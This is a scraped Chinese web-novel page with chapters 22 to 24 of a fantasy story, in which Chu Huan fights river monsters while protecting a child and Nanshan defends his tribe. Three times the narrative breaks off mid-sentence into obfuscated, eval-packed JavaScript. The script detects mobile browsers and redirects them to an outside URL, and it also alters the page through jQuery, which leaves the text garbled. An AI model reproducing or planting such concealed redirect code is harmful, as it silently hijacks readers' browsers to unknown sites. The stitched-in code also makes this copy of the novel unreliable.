0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15088635|163607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很快,褚桓也感觉到了气温的降低,他解开风衣外套,把只穿了肚兜屁帘的小秃头裹进怀里,拍了拍马:“走,别停下。” 小动物们仿佛知道自己闯了祸,吵的闹的都闭了嘴,一个个大气也不敢出,褚桓虚虚地握着缰绳,一边仔细地观察周围的环境,一边让马自行寻找出路。 忽然,褚桓听见水流声突兀得变急了。 他后脊一紧,身体先于意识,已经本能地感觉到了危险,褚桓猛地一夹马腹,白马陡然受惊,离弦之箭一般地蹿了出去,只听身后传来一声巨响,然后撕心裂肺的挣扎,水花四溅,褚桓一回头,只见河水中一道巨大的黑影一闪而过,方才跟在马身后的猪已经不见了,细细的血迹顺着水流了过来。 小秃头猛地哆嗦了一下,扒着褚桓的肩膀,不安地探头去看,褚桓一只手把他的脑袋按了下去,一只手抽出了自己的军刺。 “嘘——”他说,“没事,不怕。” 四下骤然一片寂静,方才那东西好像在寻觅从何下口,而血腥味却已经飘在了鼻端。 白马可能是离衣族马群中的马王,比褚桓骑过的任何一匹都镇定,但它毕竟是个动物,没有办法像受过特殊训练的人那样掩饰它的“战或逃”反应,褚桓明显地感觉到它的四条腿在微微地哆嗦。 突然,白马猛地后退一大步,巨大的怪兽陡然从水中冒了出来,几乎和马上的人视线齐平,一股腥风扑面而来,褚桓怀里的蛇猛地支起上身,露出蛇类受到惊吓时候的下意识攻击动作。 下一刻,厉风扑面而来,几乎划开了浓稠的白雾,那东西模样近蛇,身上长满了爬行动物的鳞片,肢体比蛇更强壮,比蜥蜴更灵活,有一张扁平的脸,嘴确实凸出来的,一口尖刀般的獠牙在它嘴里横七竖八地排成了鞋刷毛,连舌头都无处安放。 它一口向褚桓咬了下来。 褚桓整个人几乎是趴在了马背上,尖刺从最诡异的地方冒出来,猛地戳上了怪物的下巴,然后他狠狠地一别手腕,那□□在怪物皮糙肉厚的鳞片下活生生地钻出了一个浅浅的血洞——在那大牙已经包住他后背的时候,把那张血盆大口给撞飞了。 怪物吃痛,张口咆哮了一声。 无法形容那声音,褚桓只觉得太阳穴一紧,整个心口都跟着震颤起来,他一把按住了小秃头的一只耳朵,将他的另一只耳朵压在自己的胸口上,然后狠狠地一拉缰绳,白马小步走起来,险险地从侧面与那大家伙擦肩而过。 就在那一瞬间,永远黯然无光的□□突然爆发出了某种诡异的弧光,将途中的浓雾也一切两段,凌厉地捅进了怪物的眼睛。 心狠手辣,干净利落,军刺从怪物的一边眼睛进,又从另一边的眼睛出。 怪物发出垂死的哀嚎,整个河流与大雾都在震颤,褚桓觉得自己就像受了个严重的次声波袭击,他那熟悉的、精神衰弱似的头疼突然变本加厉地涌了上来,褚桓眼前几乎一黑,喉咙里顿时涌起了腥味。 23. 现世 花骨朵双手举着族长权杖,连跑带颠地追上了南山,尖细的嗓子大呼小叫:“族长!族长!” 小芳冲她吼:“谁让你出来的,滚回去!” 花骨朵打从娘胎里出来就敢于跟自己的亲爹叫板,小跑过来的风带起了一股气势汹汹的战意。 “我十二岁了!”她大声宣布,“我不和那些小崽子们在一起,我可以守山。” 南山接过权杖,也并没有疾言厉色,只是对她微微皱了皱眉:“回去。” 要说起来,南山对族里的孩子们,脾气说得上十分耐心温和——起码比褚桓耐心得多,很少对他们高声说话。然而比起自家老父那动辄蒲扇一般的大巴掌,族长一个略微显得有些不悦的眼神,却总能更好的震慑住那些崽子。 花骨朵一对上南山的目光,原本三尺高的气焰就缩成了一个豆大的火星,而后扑腾着灭了,她小心地觑着他的脸色,一点也不敢放肆,脚趾蹭脚背地在原地磨蹭了片刻,灰头土脸地依言往回走去。 此时,原本在整个离衣族聚居地中漂浮的雾气不知被什么东西驱走了,应该是通过某种方法人为的。那些被驱走的白雾逡巡凝聚在族人村落外,形成了一个天圆地方的四边形,乍一看,村子好像多了一圈混沌朦胧的城墙。 族里所有十四岁以下的小孩都被集中在族长家院子里,以春天为首的一圈成年人守在外围,每个人都披甲执锐。 春天有条不紊,指挥若定,一时间,离衣族内是人在吼,狗在叫,鸟声凄厉,还有马蹄奔走声从不远处传来,牲畜们各自忙不迭地归圈,瑟瑟发抖地蜷缩在一起。 “怎么会这么快?怎么会才起雾门就开了?守门人是不是出了什么事?那边为什么没有一点预警?”小芳飞快地跟在南山身后,问题一迭声地连发,嘴里好像装了一杆机关枪,突然,他脚步一顿,仿佛想起了什么,失声冲着南山的后背吼,“糟了!族长,大王大王呢?” 南山大步往雾城墙的方向走去,脚步不停:“没事,我已经把他送走了。” 小芳一下没反应过来:“走……走了?走哪去了?我还以为他……他会……” “留下来接受‘仪式’?”南山在雾城墙的边界停住脚步,他一转头,沉默地跟着他的大山立刻递给他一根火把,跳动的火苗映在南山清俊又镇定的侧脸上,他顿了一下,接着说,“褚桓明确和我说过,他不会留下来,所以‘仪式’的事,我没有和他提。” 小芳把一双特大号的眼睛瞪成了球:“你……提都没提?” 南山眯起眼望向浓雾,他的面色显得凝重,此时,清晨时送褚桓离开的离愁别绪已经在他脸上荡然无存,提起这事,南山甚至有些庆幸:“幸好他走得够痛快,要是慢一点,恐怕就……” “可是你怎么能提都不提呢?唉!族长啊,‘仪式’的好处是他们那边的人没法想象的,你怎么就没告诉他呢?要是他知道,说不定就会愿意一直留下来,你不是一直都想……” 南山淡淡地瞥了他一眼,小芳顿时训练有素地自动噤声,看起来并不比他十二岁的小女儿出息到哪去。 南山鬓角的长发从他身后的发带里掉下了一小把,垂在那宽阔结实的肩膀上,他珍而重之地轻轻抚摸了一下褚桓粘好的权杖头,而后微阖上眼,又将它重新掰了下来。 他把那颗碧绿的打宝石拿在手里,把玩了片刻后仔细地收好,然后,南山借着大山递来的火把,把权杖点着了。 族长权杖不知道是什么材料做的,顶端着起一团色泽冷淡的火苗,火光如冰上极光,带着幽玄枯涩的寒意。 只见那光越来越强,很快,就丝丝缕缕地渗透进了浓雾,在缭绕的雾气中,冷冷的火光就像撕裂了暗夜的灯塔,孤独地将白雾照得轻薄了许多。 这恐怕是整个族里唯一一种能穿透雾气照明的东西。 “我告诉他,引诱他留下来,然后让他像我阿爸一样吗?”南山在寂静的火光下,近乎自语地低声说。 小芳无言以对。 南山垂下目光,似乎是要将这一页掀开去:“这件事以后不要再说了。” 说话间,族里的马群终于穿过浓雾跑了回来,小芳目光一扫,忽然有些疑惑地问:“奇怪,族长,你那匹白马王呢?” 南山:“我让褚桓骑走了。” 小芳大吃一惊:“什么?那……那正好赶上这个时候,它该怎么回来?说话就要封山了,通往河那边的通道已经转开了,它找不回来了怎么办?” “不回来就不回来。”南山把闪烁着火光的权杖递给大山,“它回不来,马群自己就会选出新的马王,你跟着操哪门子心?” 大山如同捧起了一把圣火,双手托起权杖,已经有十来个女人等在一边,她们每个人手上都举着一根人骨——相比普通的人骨,这些骨头似乎要粗一些、骨质也格外的厚实,骨腔中间近乎实心的,表面上闪烁着一层均匀的磷光。 大山将族长权杖上的火凑到每个女人手中拿着的骨头上,骨头的一端也跟着被点着了,冒出同样能穿透浓雾的光来,只是幽光浮在骨头顶端,并不像火,它看起来更像是一团的幻觉。 女人们将每一根骨头插在白雾城墙的边缘,郑重地用古老的礼仪冲着那些骨头致敬。 这样一来,迷雾中的一切树、山、河水才重新有了个若隐若现的影子。 远处传来让人毛骨悚然的咆哮声。 南山:“告诉大家,从现在起,十人一组,编队巡查……” “族长!”他话还没说完,突然被身后一个女人嘶哑的叫声打断,女人踉踉跄跄地跑到了他面前,大口地喘息着,“族长,族长……” 南山伸手抓住了她的胳膊,好歹没让女人膝盖一软,直接跪在他面前:“怎么了?” 女人带着哭腔对他说:“安卡拉伊耶不见了!” “安卡拉伊耶”就是小秃头那显得很上档次的离衣族名字,翻译成汉语比原名还要长,是以褚桓俩都没记住,只好自给自足地给人家孩子起了个外号叫‘小秃头’。 南山抓着女人胳膊地手一紧:“什么时候的事?” “早晨,一大清早……”女人几乎崩溃,此时的族长就像是她的一根主心骨,她只能靠着南山手上的力量勉强撑着,几次把漫到眼睛里的眼泪忍回去,她生育艰难,嫁人之后十来年,也就只有小秃头这么一个孩子,怎么能不着急呢? “家里养的猪少了一只,但是、但是猪圈是插着的,他肯定是放出来了一只骑走了,又自己关上了猪圈……他、他平时就喜欢和那些蠢东西一起玩,”女人的指甲抓进了自己的肉里,一口气在她胸中剧烈地翻腾着,“族长,你说他会跑到哪去?他会不会已经……” 南山眉头夹得死紧,他接过大山递回来的权杖:“叫几个人跟我走,快点。” 河里,褚桓生生地咽下了一口血沫。 怪物已经仰倒了下去,腥臭的血水溅了白马一身,褚桓抬手按了按耳朵,一边缓解着耳鸣,一边近距离地观察水里的怪物——这浅浅的河面才刚能没过怪物的尸体,它绝不可能是生活在这里的动物。 这种怪物褚桓见所未见、闻所未闻,来处也不大可能是河的这一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15088636|163607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边。 那么应该……是来自离衣族那边的。 是他们养的?还是他们遇到了什么? 而如果它是从离衣族那边下水的,那是不是代表他们这误打误撞的,离对岸应该已经不远了。 褚桓观察到,这些怪物是逆着水流的方向向他冲过来的,那么他们现在为止,最明智的选择就是同样逆流而上。 水里的血腥味也许会招来其他的东西,他们必须尽快离开。 白马仿佛与他的心意想通,褚桓一个指令下,它立刻撒开蹄子,飞快地从水中穿过。 这时,褚桓听见一声低低的抽噎声,他低头一看,小秃头正伏在他肩膀上,一抽一抽地小声哭着,他好像现在刚反应过来,他的朋友已经再也没办法和他走下去了。 小秃头第一次与死亡邂逅,他茫然不知所措,却也仿佛隐约知道,眼下不是可以随便调皮捣蛋的时候,他只是紧紧地攥着褚桓的衣襟——族人们都不会穿这种柔软又累赘的衬衫,仿佛一扯就会坏,此时却已经是他唯一的依靠了。 “你父母还不知道得急成什么样。”褚桓忽然说。 他显然不怎么会用哄小孩的语气说话,只好不管对方能不能听懂、能不能接受,把这三四岁的小崽子当成了大人,用平等的方式对他说:“你光顾着自己任性,想过这个问题没有?” 这一次,小秃头没有嘲笑他的口音诡异,他听出了褚桓话里的责备,感觉到了前所未有的委屈,眼泪汪汪地抬头看着褚桓。 褚桓忽然猛地一拉马缰绳,白马猝不及防,前蹄高高跃起,发出悠长的马嘶,淙淙的水声骤然被放大,三条比方才的怪物只大不小的东西笔直地冲向他们。 褚桓不慌不忙地稳住马,对小秃头说:“你看见这些了么?我不知道是不是变异的鳄鱼,也许是跑来的,也许是河里的——你是怎么判断自己有能力独自过河的?” 小秃头吓得抽噎了一声。 褚桓:“不许哭。” 这一次,他既没有故作凶狠,也没有软语劝哄,只是语气平淡地吐出三个字,小秃头立刻就死死地忍住了自己的眼泪,一声也不敢吭了。 褚桓伏在马背上,压低了重心,不断地调整着自己的角度,同时在小秃头耳边说:“既然是你还没有能力的事,为什么要去做?” 小秃头窝在他怀里,细声细气地开口:“大王大王……” 褚桓:“不许撒娇,我问你话呢——你除了撒娇还会什么?” 一头怪物猛地从水中一跃而起,张开血盆大口冲褚桓咬了下来。 褚桓抱着孩子,整个人已经从马上站了起来,尖刺在他手里几乎成了一根穿针引线皆随心的绣花针,笔走龙蛇般地错、捅、前突——而后他猛地一矮身缩回马上,白马果断飞奔了出去,另一只怪物的巨齿与他擦肩而过,与方才那只撞在了一起。 褚桓想捂耳朵,但是得顾着怀里的熊孩子,已经来不及了,只好生受了这次声波攻击二重奏。 他深吸一口气,有技巧地转移着注意力,缓解着胸口的剧痛,还不忘严厉地对小秃头说:“你这种行为,不叫英雄,叫惹事,懂吗?” 这时,白马已经无可避免地迎面撞上了第三只怪物,怪物纵身扑咬,褚桓尖刺孤注一掷。 怪兽与冷兵器短兵相接。 “噗嗤”一声,那尖刺从怪物张开的上颚中,一个拳头大的、没有不满牙齿的空隙捅了进去,它的脑袋顷刻间被捅了个对穿,褚桓借力在空中翻了三百六十度落下,刚好坐回飞速而过的白马背上。 小秃头已经惊呆了。 24. 现世 很多俱乐部里都有那么一批顶着各种光环的马,什么赛马、纯血统,牵出去倒卖,甚至能换一套房子,可这些马中的贵族名媛们要是大白马放在一起,大约也就只有比一比谁脸长的余地了。 这是褚桓这辈子遇到过的最好的马。 单枪匹马的食草动物穿梭在怪物与浓雾中,它的恐惧不必宣诸于口,褚桓就感觉得到,生物的本能不是那么容易克制的,然而恐惧归恐惧,大白马却始终并不慌乱,它绝不肯轻易地一惊一乍,始终保持着警惕,带着几分谨慎遵循着马背上人的指令,同时,它也在用自己的方法努力寻找出路。 不过想想也是,像南山这样的人,既然是送人,送的必然是最好的。 大白马甩脱了水里似蛇似蜥蜴的怪物,又往前走了一段,褚桓就听见了浓雾深处传来的若隐若现的咆哮声。 眼前的浓雾让他不由自主地想起恐怖电影中的各种生化污染,出于科学常识,褚桓唯一能接受的解释,就是这些怪物都是受到了某种污染或者辐射,成了异常的变异种。 这么一想,怪物倒没什么,但是小秃头吸入了这么多雾气,会不会有问题? “怕不怕?”褚桓轻声问。 小秃头和小毒蛇对视一眼,一改方才挤在一起瑟瑟发抖的模样,同时挺起胸。 褚桓叹了口气:“小崽子们……” 这个世界上,大概也只有狗屁不懂的小孩才会在无法探知的危险面前,这样大言不惭地挺胸抬头,以示自己无所顾忌。 反正也没人指望他们真的承担什么责任。 褚桓:“我现在算是明白,你那个花骨朵小姐姐为什么没事就以打哭你为乐了。” 大白马的脚步有些迟疑,褚桓的心里也是一样。 这经验颇为丰富的一人一马都已经判断出了,吼声传来的方向很可能就是对岸的离衣族,现在小秃头全家都在那边……唔,南山也是。 褚桓一想到南山,心里就不由自主地有些焦灼。他觉得自己不见得非要再见南山,只是好歹有个只言片语,告诉他南山还好好的也行啊。 焦灼就像心里的一把野火,扑是扑不灭的,因此褚桓难得迟疑。 可是野火烧着他的胸口,却没有烧坏他的脑子,一顿之下,褚桓微微拨转了马头:“不,我们还是先回对岸去。” 大白马会意,小秃头和小毒蛇却对大人的反复无常茫然不解——他镇压了哭着喊着的小秃头,也要带他们回族里,怎么突然又向后转了呢? 大白马追随着水流,往他们来时的方向跑去。 南山毕竟是一族之长,是成年人,但小秃头不是,这烦人的小崽子技能点都加在爬树和惹事上了,褚桓不可能带着他闯进未知的危险。 他决定以最快的速度,先把小秃头送走,暂时托付给沿途住在山里的村民,再自己赶回来过河去离衣族聚居地。 “这次我们最好别迷路,”褚桓不知不觉地切换成了汉语,低声说,“我最好还来得及。” 否则万一那边出点什么事,难道他要负责把这讨人嫌的崽子养大吗? 褚桓低头看了小秃头一眼,心里苦闷地想:“那我还是干脆死在那给美男殉情好了。” 可惜,计划始终是赶不上变化,“现实”之所以被称为“现实”,就是因为永远都和设想的大相径庭。 原本高速奔跑的大白马猝不及防地尥起了蹶子,大白马吃痛地哀鸣一声,它前腿一软,脚步登时乱了,几乎就要跌倒,然而大概是想起自己身上还有人,它连连踉跄,到底还是拼命地站住了。 褚桓看见大白马的大腿被什么东西抓出了一道伤口,细细的血迹流进了河水里。 小秃头瞪大了眼睛,说了一个褚桓没听过的词,褚桓一把捂住他的嘴。 “嘘——”褚桓凝视着马腿上的伤口,全部的精力却已经调动到了耳朵上。 这种时候,他无比希望自己手没有那么快,交枪交得没那么积极。 一道快得不可思议的黑影突然从水中暴起,大白马本能地要往后退,被褚桓狠狠地扯住缰绳钉在原地。 下一刻,黑影狠狠地撞在了褚桓的三棱刺上,摩擦声如尖细的金属片划在玻璃上,在浓雾深处响起,让人油然而生出一股毛骨悚然来。 那撞击发生在一瞬间,触手时褚桓已经明白了双方力量的差距,他一手抓着小秃头,身体猛地向侧后方向躺倒下去,腰部几乎弯成了一道拱桥,如果不是他仓促的卸力技巧十足,褚桓怀疑这突如其来的撞击会不会把三棱刺和他的胳膊一起震断。 褚桓看清了,扑过来的东西正是那天晚上闯入他住处、被南山扭断了脖子的小怪物。 它全身都是坚硬的甲片与类似钢针的鬃毛,只有侧脖颈处有一处软肉,甲片与硬毛青黄不接,如果他当时没有老眼昏花,那么褚桓记得,南山是先用五指扣住了怪物的侧颈,然后借着身体旋转的力量,一击必杀地扭断了它的脖子。 褚桓:“抓好我!” 小秃头立刻把头埋进突然怀里,紧紧地抱住了他,褚桓腾出一只手,在怪物压上他头顶的那一瞬间,精准地扣住了它的脖子。 他五指做爪,狠狠地一抓,在怪物一声短促的惨叫中将它从半空惯进水里,怪物落水的一瞬,褚桓竖起三棱刺,“噗”一声,捅进了它的血肉。 大团的血盛开如灼眼的烟花,怪物垂死发出一声尖叫,冲着褚桓张大了嘴,褚桓感觉到了一阵诡异的气流,他蓦地就想起自己那晚自动拨开的门闩,来不及细想,身体已经先一步动了——他猛地一侧身,用胳膊和左肩挡住了自己的头颈和怀里的孩子。 他手臂上一阵尖锐的刺痛,好像被一根长针捅穿了,可是衣服完全没有破,褚桓用三棱刺胡乱一卷,什么都没碰到。 简直像是空气凝成的针。 有那么几秒钟,褚桓看着死透的怪物和自己完好的外衣,怀疑自己再次出现了毫无逻辑的幻觉。 可是缠在小秃头身上的蛇却突然对着他的胳膊直起身,显得十分紧张。 下一刻,褚桓方才刺痛的地方开始发凉发麻,那股被麻痹的感觉飞快地顺着他的左臂蔓延,褚桓顿觉不妙,他立刻把袖子撸了上去,看见自己上臂上果然有一处刺伤,没流多少血,伤口却已经变成了黑紫色。 到底是什么伤,怎么来的,褚桓直到这一刻都完全不能理解,他活了这么多年,这样的事闻所未闻,但是眼下不是考据的时候。他当机立断,夹住三棱刺的手柄,暂时阻断血流,然后拔/出南山送给他的短刀,一刀把自己的伤口剜开了,黑血一下涌了出来,褚桓挤压后,又用嘴吸出了不少,直到流的血变回红色。 褚桓身上实在没有带别的东西,只有南山给他的一竹筒酒,眼下只好司马当成活马医,褚桓取下竹筒漱口,而后全倒在伤口上。 酒精直接往刀伤上浇的感觉,褚桓并不陌生。 疼,疼得火辣辣的,但绝对不是这种疼法——那真是打进骨髓直接捅进了他的脑子里,钻心蚀骨,跟当时在县城的小招待所里,南山给他上药的那种感觉一模一样。 这个竹筒里装的是药酒。 药酒到底能不能乱喝,会不会和毒素产生什么更要命的化学反应?褚桓已经没心情忧虑了,他活活被疼出了一身的冷汗,汗水又在透着凉意的雾气中又很快被风干,狼狈就不用提了。 水流声越发湍急,大白马原地迟疑片刻,突然自作主张地转头,往离衣族那一边的河岸方向逆流而上,褚桓晃了一下才稳住自己,但他并没有阻止。 有时候动物趋利避害的本能比人类敏锐,前面必然有让它觉得可怕的东西。 真是屋漏偏逢连夜雨,就在这时,褚桓听见身后的水声忽然变得暴虐起来,他回头一看,只见三四只方才那种满身黑甲硬毛的怪物就这样追了上来。 远处传来隆隆地、闷雷一般的动静,同时,诡异的气流波动再次传来。 褚桓看不见、听不见、分辨不出,他只能凭借那一点游走在生死边缘的直觉往前一扑,布料被撕裂地声音响起,褚桓的风衣背后被开了一条口子,一直划破了他的领子。 左臂上仿佛是有残留的毒,他的左半身开始变得冰冷迟钝。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15088637|163607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在这个节骨眼上半身不遂可绝不是什么好事。 紧接着,第二道、第三道气流接踵而至,褚桓险而又险地躲过了两次,而到了第三次,那黑家伙已经追到他身侧,冲他伸出尖锐的爪子,迎面抓来。 褚桓一脚踹在它的胸口上,那黑家伙吃痛飞出,突然向他张开嘴,露出獠牙后黑洞洞的喉咙。 卧槽,又是这招! 这次褚桓已经避无可避,因为角度刁钻,他躲开了,那看不见的空气箭就会打在小秃头身上。 可再硬抗一下,褚桓不知道自己会不会变成一只还能喘气的僵尸……或者麻痹感传到心肺,到时候他就是不会喘气的僵尸了。 电光石火间,他只好一边护住小秃头,一边徒劳地抬起手中的短刀挡了一下。 让人惊讶的事发生了,那刀送出去一半,褚桓居然有种“自己劈中了什么”的手感,他握刀的手陡然一紧,施力下砍,虚空中一声锐响,仿佛是“空气”断成了两截,其中一截与褚桓擦肩而过,另一截则抽打在怪物的脸上,给了它干脆利落的一个大耳光,半张脸被划出一道尖锐的伤口。 这是,能劈开风的……刀。 可是还没等褚桓从“自己手持神器”的认知中回过神来,他的大白马蓦地纵身一跃,跳过水中疑似变种鳄鱼的尸体——他们显然又回到了方才的地方,而已经被甩掉两条“变异鳄鱼”再次从两侧包抄了上来。 褚桓已经连骂娘的脾气都没有了,只好拖着半身不遂的身体再次迎战。 白马嘶鸣一声,大无畏地从两头怪物中穿行而过,褚桓以让人看不清的速度劈手削掉了一只怪物突出的口鼻,那玩意叫声带来的脑震荡感他已经顾不上了,因为另一只甩起巨大的脑袋,向他撞了过来。 褚桓打算拼着自己仅剩的一条右臂不要,持短刀迎上去。 而此时,奇怪的事发生了。 白雾中似乎突然传来某种古怪的波动,褚桓的刀从怪物身上穿梭而过,而怪物从他身上穿梭而过……就仿佛它只是个异常逼真的3D影像。 或是……鬼影子。 巨兽掉进水里,一点水花都没有激起,而身后穷追不舍的几个小怪物也似乎从空气里蒸发了。 什么情况? 一路狂奔的人和在万分的疑惑与不安中齐齐停顿了下来,小毒蛇突然从小秃头身上溜了下去,褚桓一个没拽住,它已经一头扎进水里,几个起落就游走不见了。 远处的咆哮声不知不觉地消失了。 直到这时,褚桓才发现,这里的水似乎比方才浅了许多。 那是不是意味着……他们马上要到岸边了? 一切都像一场梦,可身上的冷汗还在,被血浸透的衣袖还在,左半身的僵硬也还在,二十分钟之后,褚桓已经开始有些呼吸困难的时候,马蹄碰到了陆地。 他的视野开始模糊,耳朵也渐渐听不清了,褚桓觉得自己应该乐观一点,比如期待那条突然跑掉的蛇其实是去叫人了……但是鉴于它带个路都能把他们带迷路的尿性,他又觉得自己有一点痴心妄想。 突然出现又突然消失的怪物,已经彻底把他坚持唯物主义的脑子搅成了一团浆糊,褚桓自己也说不清自己还是不是清醒的,只有小秃头大气也不敢出地窝在他怀里。 忽然,小秃头伸长了脖子,似乎看见了什么,褚桓在一阵阵的耳鸣里,隐约听见他叫了一声“阿爸”,这才注意到了由远及近的人声。 褚桓眯起眼睛,用力地在迷茫的视线中分辨出南山、小芳还有小秃头他爸。 小蛇缠在南山的胳膊上,还真是去找人了——这孽畜在一万次坑爹后,居然管了点用。 几个离衣族的汉子立刻围住了他,七嘴八舌的说了什么褚桓已经听不见了,他用尽最后一点力气从马上把小秃头递给娃他爸。 而当他本能地去找南山的时候,才发现南山不知什么时候已经抓住了他的左手——他的左手完全没知觉了。 褚桓本想借着南山的力气从马上下来,可是才刚一动,卡在马鞍上的脚骤然一软,他一头从马上栽了下去。